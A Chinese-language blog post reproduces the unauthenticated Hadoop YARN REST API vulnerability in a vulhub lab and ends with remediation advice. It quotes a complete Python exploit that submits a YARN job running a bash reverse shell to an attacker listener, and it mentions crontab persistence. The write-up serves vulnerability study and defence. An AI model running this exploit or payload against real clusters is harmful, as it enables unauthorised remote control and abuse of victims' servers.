Hadoop Yarn REST API未授权漏洞复现

Hadoop Yarn REST API未授权漏洞复现

Hadoop是一个由Apache基金会所开发的分布式系统基础架构,YARN是hadoop系统上的资源统一管理平台,其主要作用是实现集群资源的统一管理和调度,可以把MapReduce计算框架作为一个应用程序运行在YARN系统之上,YARN提供有默认开放在8088和8090的REST API(默认前者)允许用户直接通过API进行相关的应用创建、任务提交执行等操作,如果配置不当,REST API将会开放在公网导致未授权访问的问题。
我还是用的vulhub的环境,但为了避免漏洞本身8088被扫描攻击,我就改到了其他端口。

由于未授权访问,打开即跳转到了管理界面。同样的也可以调用api来访问,这里我们先测试一下。

  • 申请新的application

curl ‘http://zgao.site:1600/ws/v1/cluster/apps/new-application’ -X POST

得到这样的返回表明是成功的。

  • 构造并提交任务

这里我们直接看vulhub提供的exp。

#!/usr/bin/env python
 
import requests
 
target = 'http://127.0.0.1:8088/'
lhost = '192.168.0.1' # put your local host ip here, and listen at port 9999
 
url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
    'application-id': app_id,
    'application-name': 'get-shell',
    'am-container-spec': {
        'commands': {
            'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
        },
    },
    'application-type': 'YARN',
}
requests.post(url, json=data)

分析该exp发现,发起了两次请求,第一次申请新的application的id,第二次post我们的payload完成命令反弹shell。

我们就利用该exp进行测试,我们在两台vps上进行测试。

同理其他命令执行当然也不会有问题,或者是写入crontab计划任务不断反弹shell。

同时在我们的web界面刷新也能看到提交的任务。

当然该漏洞简单,同时这种未授权访问的危害也比较大,所以网上也有很多关于Hadoop 未授权漏洞导致的挖矿木马,黑灰产一直都是紧盯着这一块的,一堆exp在网上无时无刻地在扫描。

修复建议:

  •  如无必要,关闭Hadoop Web管理页面;
  • 开启服务级别身份验证,如Kerberos认证;
  • 部署Knox、Nginx之类的反向代理系统,防止未经授权用户访问;
  • 设置“安全组”访问控制策略,将Hadoop默认开放的多个端口对公网全部禁止或限制可信任的IP地址才能访问包括50070以及WebUI等相关端口

其实对于这类未授权访问漏洞往往都是配置上出现的问题,利用难度也不大,所以也是黑灰产最青睐的。

zgao

愿有一日,安全圈的师傅们都能用上Zgao写的工具。